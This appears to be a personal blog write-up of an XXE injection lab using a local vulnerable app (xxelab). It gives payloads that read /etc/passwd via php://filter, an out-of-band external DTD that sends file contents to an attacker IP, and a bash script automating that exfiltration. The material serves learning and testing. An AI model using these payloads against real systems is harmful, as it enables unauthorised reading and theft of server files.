XXE Vulnerability
Table of contents
What is XXE?
XML external entity injection (XXE) is a web security vulnerability that allows us as attackers to interfere with an application's processing of XML data. It often allows us to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.
In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform SSRF attacks.
Installing and Preparing lab
I use xxelab to practice with this vulnerability.
git clone https://github.com/jbarone/xxelab.git
cd xxelab
docker build -t xxelab .
docker run -it --rm -p 127.0.0.1:5000:80 xxelab
Open the web using http://localhost:5000.
Attacking
Understanding
First, we could intercept the Create Account action using BurpSuite.
First, you can see that request sent uses XML to transport form data.
Verifying XXE Vulnerability
Now, let's verify if XXE vulnerability is enabled.
In the Repeater section of BurpSuite, we are going to declare and use an Entity.
Now we could retrieve the list of hashed passwords by using Wrappers, in this case, the file wrapper.
Another wrapper to do the same is using PHP.
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=//etc/passwd">]>
XXE OOD (Out of Bind) - External DTD
Sometimes the output of XML request doesn't show anything. So, in that case, we are in XXE OOD case.
But, we could use External DTD files to retrieve sensitive information.
First, we should create a server to receive connections from the victim.
sudo python3 -m http.server 80
Then, in the XML content, we should write this with the attacker's IP.
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://192.168.200.128/xxe.dtd"> %xxe;]>
We must define xxe.dtd file from the attacker to inject entities and retrieve sensitive information.
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://192.168.200.128/?file=%file;'>">
%eval;
%exfil;
Now, with the Python server running and sending XML requests you should see something like this.
Automatization With Bash
With the content of the request, we could use a bash script to automatize the process.
#!/bin/bash
echo -ne "\n[+] Enter file to retrieve: " && read -r filePath
# entity injection
xxe_dtd="""
<!ENTITY % file SYSTEM \"php://filter/convert.base64-encode/resource=$filePath\">
<!ENTITY % eval \"<!ENTITY % exfil SYSTEM 'http://192.168.200.128/?file=%file;'>\">
%eval;
%exfil;
"""
echo $xxe_dtd > ./xxe.dtd
python3 -m http.server 80 &>response &
PID=$!
sleep 1
# do POST request retrieving connection to attacker
curl -s -X POST "http://127.0.0.1:5000/process.php" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://192.168.200.128/xxe.dtd"> %xxe;]>
<root><name>test</name><tel>123123</tel><email>cxnsxle@cxnsxle.com</email><password>cxnsxle123</password></root>'
# response filter and decode
cat response | grep -oP "/?file=\K[^.*\s]+" | base64 -d
# brute kill of http server
kill -9 $PID
wait $PID 2>/dev/null
rm -f response 2>/dev/null
I appreciate your time reading this write-up ๐ and I hope it has been valuable for your understanding of the topic, remember that this content does not come 100% from me. Writing this article is a way to reinforce my learning obtained from S4vitar's Hack4u courses ๐ฅ.
Subscribe to my newsletter
Read articles from Cxnsxle directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by